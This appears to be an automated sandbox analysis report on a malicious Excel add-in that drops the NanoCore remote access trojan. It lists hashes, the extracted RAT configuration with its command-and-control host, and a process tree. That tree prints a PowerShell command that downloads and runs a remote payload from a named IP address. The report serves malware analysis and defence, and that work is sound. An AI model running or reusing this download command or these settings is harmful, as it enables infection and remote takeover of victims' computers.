Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    20-04-2021 20:10

General

  • Target

    Swift_Processing and monitoring.xlam

  • Size

    19KB

  • MD5

    e776a82944a04d1939e9ce9916c30771

  • SHA1

    080948c7533b52301fdaa5d3be8b04d58d24aa12

  • SHA256

    aac964b49d6f12b420121a28b5c856e473695e00cb5095b862ea9c0db67ed119

  • SHA512

    7c9eebbc93f362ec5173ca1a06c38a920c1cff240974bab882c451fbd08d9c6799dd7c0004f8463f6b4b133bb1beedcd1227fa91feead363272f555cc9852891

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://179.43.140.150/shtq/fack.jpg

Extracted

Family

nanocore

Version

1.2.2.0

C2

poseidon99.ddns.net:47581

127.0.0.1:47581

Mutex

48a36992-d807-4f82-a5e1-68be3ae0a19f

Attributes
  • activate_away_mode

    true

  • backup_connection_host

    127.0.0.1

  • backup_dns_server

    8.8.4.4

  • buffer_size

    65535

  • build_time

    2020-11-07T12:06:34.811510836Z

  • bypass_user_account_control

    true

  • bypass_user_account_control_data

  • clear_access_control

    true

  • clear_zone_identifier

    false

  • connect_delay

    4000

  • connection_port

    47581

  • default_group

    Default

  • enable_debug_mode

    true

  • gc_threshold

    1.048576e+07

  • keep_alive_timeout

    30000

  • keyboard_logging

    false

  • lan_timeout

    2500

  • max_packet_size

    1.048576e+07

  • mutex

    48a36992-d807-4f82-a5e1-68be3ae0a19f

  • mutex_timeout

    5000

  • prevent_system_sleep

    false

  • primary_connection_host

    poseidon99.ddns.net

  • primary_dns_server

    8.8.8.8

  • request_elevation

    true

  • restart_delay

    5000

  • run_delay

    0

  • run_on_startup

    true

  • set_critical_process

    true

  • timeout_interval

    5000

  • use_custom_dns_server

    false

  • version

    1.2.2.0

  • wan_timeout

    8000

Signatures

  • NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Process spawned suspicious child process 1 IoCs

    This child process is typically not spawned unless (for example) the parent process crashes. This typically indicates the parent process was unsuccessfully compromised.

  • Suspicious use of SetThreadContext 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\Swift_Processing and monitoring.xlam"
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1652
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -comma Invoke-Expression(New-Object Net.WebClient).DowNloAdSTRiNg.Invoke('http://179.43.140.150/shtq/fack.jpg')"
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:796
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of AdjustPrivilegeToken
        PID:1876
    • C:\PROGRA~2\COMMON~1\MICROS~1\DW\DW20.EXE
      "C:\PROGRA~2\COMMON~1\MICROS~1\DW\DW20.EXE" -x -s 604
      2⤵
      • Process spawned suspicious child process
      • Suspicious use of WriteProcessMemory
      PID:572
      • C:\Windows\SysWOW64\dwwin.exe
        C:\Windows\system32\dwwin.exe -x -s 604
        3⤵
          PID:956

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Modify Registry

    1
    T1112

    Discovery

    Query Registry

    1
    T1012

    System Information Discovery

    1
    T1082

    Replay Monitor

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    Downloads

    • memory/572-102-0x0000000000000000-mapping.dmp
    • memory/796-81-0x0000000006300000-0x0000000006301000-memory.dmp
      Filesize

      4KB

    • memory/796-65-0x00000000754F1000-0x00000000754F3000-memory.dmp
      Filesize

      8KB

    • memory/796-88-0x0000000006390000-0x0000000006391000-memory.dmp
      Filesize

      4KB

    • memory/796-64-0x0000000000000000-mapping.dmp
    • memory/796-89-0x00000000063C0000-0x00000000063C1000-memory.dmp
      Filesize

      4KB

    • memory/796-66-0x0000000002480000-0x0000000002481000-memory.dmp
      Filesize

      4KB

    • memory/796-67-0x0000000004720000-0x0000000004721000-memory.dmp
      Filesize

      4KB

    • memory/796-68-0x0000000001FF0000-0x0000000002C3A000-memory.dmp
      Filesize

      12.3MB

    • memory/796-70-0x00000000045F0000-0x00000000045F1000-memory.dmp
      Filesize

      4KB

    • memory/796-71-0x00000000052E0000-0x00000000052E1000-memory.dmp
      Filesize

      4KB

    • memory/796-74-0x0000000005710000-0x0000000005711000-memory.dmp
      Filesize

      4KB

    • memory/796-90-0x0000000005930000-0x0000000005948000-memory.dmp
      Filesize

      96KB

    • memory/796-80-0x000000007EF30000-0x000000007EF31000-memory.dmp
      Filesize

      4KB

    • memory/796-91-0x0000000005870000-0x0000000005871000-memory.dmp
      Filesize

      4KB

    • memory/796-79-0x0000000005780000-0x0000000005781000-memory.dmp
      Filesize

      4KB

    • memory/956-104-0x0000000000000000-mapping.dmp
    • memory/1652-62-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1652-63-0x0000000005C60000-0x0000000005C62000-memory.dmp
      Filesize

      8KB

    • memory/1652-60-0x000000002F301000-0x000000002F304000-memory.dmp
      Filesize

      12KB

    • memory/1652-61-0x0000000070F81000-0x0000000070F83000-memory.dmp
      Filesize

      8KB

    • memory/1876-97-0x00000000005F0000-0x00000000005F5000-memory.dmp
      Filesize

      20KB

    • memory/1876-96-0x0000000004E10000-0x0000000004E11000-memory.dmp
      Filesize

      4KB

    • memory/1876-94-0x0000000000400000-0x000000000043A000-memory.dmp
      Filesize

      232KB

    • memory/1876-98-0x0000000000600000-0x0000000000606000-memory.dmp
      Filesize

      24KB

    • memory/1876-99-0x0000000000660000-0x0000000000679000-memory.dmp
      Filesize

      100KB

    • memory/1876-100-0x00000000006C0000-0x00000000006C3000-memory.dmp
      Filesize

      12KB

    • memory/1876-101-0x0000000004E15000-0x0000000004E26000-memory.dmp
      Filesize

      68KB

    • memory/1876-93-0x000000000041E792-mapping.dmp
    • memory/1876-92-0x0000000000400000-0x000000000043A000-memory.dmp
      Filesize

      232KB